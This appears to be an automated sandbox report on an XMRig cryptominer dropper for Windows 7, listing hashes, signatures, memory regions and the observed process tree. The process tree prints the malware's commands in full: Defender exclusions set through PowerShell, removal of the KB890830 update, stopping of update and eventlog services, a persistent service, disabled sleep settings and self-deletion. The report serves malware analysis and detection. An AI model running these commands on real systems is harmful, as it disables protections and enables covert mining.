Analysis

  • max time kernel
    120s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20241023-en
  • resource tags

    arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
  • submitted
    19-12-2024 09:49

General

  • Target

    d2a820ea9c27dbd13a327b98969fffe577b166ef0abfa63715840eff8443bafc.exe

  • Size

    5.6MB

  • MD5

    895c1947d148fb244c8e189e1b217fac

  • SHA1

    1293279eecb022b991a6cf21c0bf8f259c94cc90

  • SHA256

    d2a820ea9c27dbd13a327b98969fffe577b166ef0abfa63715840eff8443bafc

  • SHA512

    56af7b8c9af22a2234c4326b95eb8e66e0d694579bca3aad356fd028e6b28a64831891111172a21eeda1d4692dd98277e506f2e9df5456c65045f98b8e1c0365

  • SSDEEP

    98304:KggSZTFznDHwE8oohoIgNgx+r3P4jw4fn9E32RW0O2gT/gQGhP3oFL6p4kvDZ/Hf:DgSZJznDHMo+JgNgx+r3P+e32BO2gjg7

Malware Config

Signatures

  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 9 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Stops running service(s) 4 TTPs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 1 IoCs
  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • UPX packed file 14 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 11 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d2a820ea9c27dbd13a327b98969fffe577b166ef0abfa63715840eff8443bafc.exe
    "C:\Users\Admin\AppData\Local\Temp\d2a820ea9c27dbd13a327b98969fffe577b166ef0abfa63715840eff8443bafc.exe"
    1⤵
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:2836
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2528
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2812
      • C:\Windows\system32\wusa.exe
        wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
        • Drops file in Windows directory
        PID:2680
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop UsoSvc
      2⤵
      • Launches sc.exe
      PID:2684
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop WaaSMedicSvc
      2⤵
      • Launches sc.exe
      PID:2704
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop wuauserv
      2⤵
      • Launches sc.exe
      PID:2296
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop bits
      2⤵
      • Launches sc.exe
      PID:2424
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop dosvc
      2⤵
      • Launches sc.exe
      PID:996
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:268
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:2316
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:964
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:1852
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe delete "JVNIRHNX"
      2⤵
      • Launches sc.exe
      PID:2144
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe create "JVNIRHNX" binpath= "C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe" start= "auto"
      2⤵
      • Launches sc.exe
      PID:2336
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop eventlog
      2⤵
      • Launches sc.exe
      PID:2976
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe start "JVNIRHNX"
      2⤵
      • Launches sc.exe
      PID:2928
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\d2a820ea9c27dbd13a327b98969fffe577b166ef0abfa63715840eff8443bafc.exe"
      2⤵
      • Deletes itself
      • Suspicious use of WriteProcessMemory
      PID:3036
      • C:\Windows\system32\choice.exe
        choice /C Y /N /D Y /T 3
        3⤵
          PID:1204
    • C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe
      C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe
      1⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1312
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2968
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2980
        • C:\Windows\system32\wusa.exe
          wusa /uninstall /kb:890830 /quiet /norestart
          3⤵
          • Drops file in Windows directory
          PID:3000
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop UsoSvc
        2⤵
        • Launches sc.exe
        PID:2292
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        2⤵
        • Launches sc.exe
        PID:2404
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop wuauserv
        2⤵
        • Launches sc.exe
        PID:1316
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop bits
        2⤵
        • Launches sc.exe
        PID:2456
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop dosvc
        2⤵
        • Launches sc.exe
        PID:2160
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:2252
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:2072
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:1988
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:2216
      • C:\Windows\system32\conhost.exe
        C:\Windows\system32\conhost.exe
        2⤵
          PID:1976
        • C:\Windows\system32\nslookup.exe
          nslookup.exe
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1324

      Network

      MITRE ATT&CK Enterprise v15

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      Downloads

      • \ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe

        Filesize

        5.6MB

        MD5

        895c1947d148fb244c8e189e1b217fac

        SHA1

        1293279eecb022b991a6cf21c0bf8f259c94cc90

        SHA256

        d2a820ea9c27dbd13a327b98969fffe577b166ef0abfa63715840eff8443bafc

        SHA512

        56af7b8c9af22a2234c4326b95eb8e66e0d694579bca3aad356fd028e6b28a64831891111172a21eeda1d4692dd98277e506f2e9df5456c65045f98b8e1c0365

      • memory/1324-28-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/1324-29-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/1324-41-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/1324-35-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/1324-37-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/1324-36-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/1324-38-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/1324-39-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/1324-27-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/1324-31-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/1324-32-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/1324-33-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/1324-34-0x0000000000040000-0x0000000000060000-memory.dmp

        Filesize

        128KB

      • memory/1324-30-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/1324-40-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/1976-19-0x0000000140000000-0x000000014000E000-memory.dmp

        Filesize

        56KB

      • memory/1976-20-0x0000000140000000-0x000000014000E000-memory.dmp

        Filesize

        56KB

      • memory/1976-18-0x0000000140000000-0x000000014000E000-memory.dmp

        Filesize

        56KB

      • memory/1976-23-0x0000000140000000-0x000000014000E000-memory.dmp

        Filesize

        56KB

      • memory/1976-25-0x0000000140000000-0x000000014000E000-memory.dmp

        Filesize

        56KB

      • memory/1976-21-0x0000000140000000-0x000000014000E000-memory.dmp

        Filesize

        56KB

      • memory/2528-5-0x000000001B640000-0x000000001B922000-memory.dmp

        Filesize

        2.9MB

      • memory/2528-6-0x0000000001D60000-0x0000000001D68000-memory.dmp

        Filesize

        32KB

      • memory/2528-11-0x000007FEF5590000-0x000007FEF5F2D000-memory.dmp

        Filesize

        9.6MB

      • memory/2528-10-0x000007FEF5590000-0x000007FEF5F2D000-memory.dmp

        Filesize

        9.6MB

      • memory/2528-8-0x000007FEF5590000-0x000007FEF5F2D000-memory.dmp

        Filesize

        9.6MB

      • memory/2528-9-0x000007FEF5590000-0x000007FEF5F2D000-memory.dmp

        Filesize

        9.6MB

      • memory/2528-7-0x000007FEF5590000-0x000007FEF5F2D000-memory.dmp

        Filesize

        9.6MB

      • memory/2528-4-0x000007FEF584E000-0x000007FEF584F000-memory.dmp

        Filesize

        4KB

      • memory/2968-16-0x000000001A080000-0x000000001A362000-memory.dmp

        Filesize

        2.9MB

      • memory/2968-17-0x0000000000940000-0x0000000000948000-memory.dmp

        Filesize

        32KB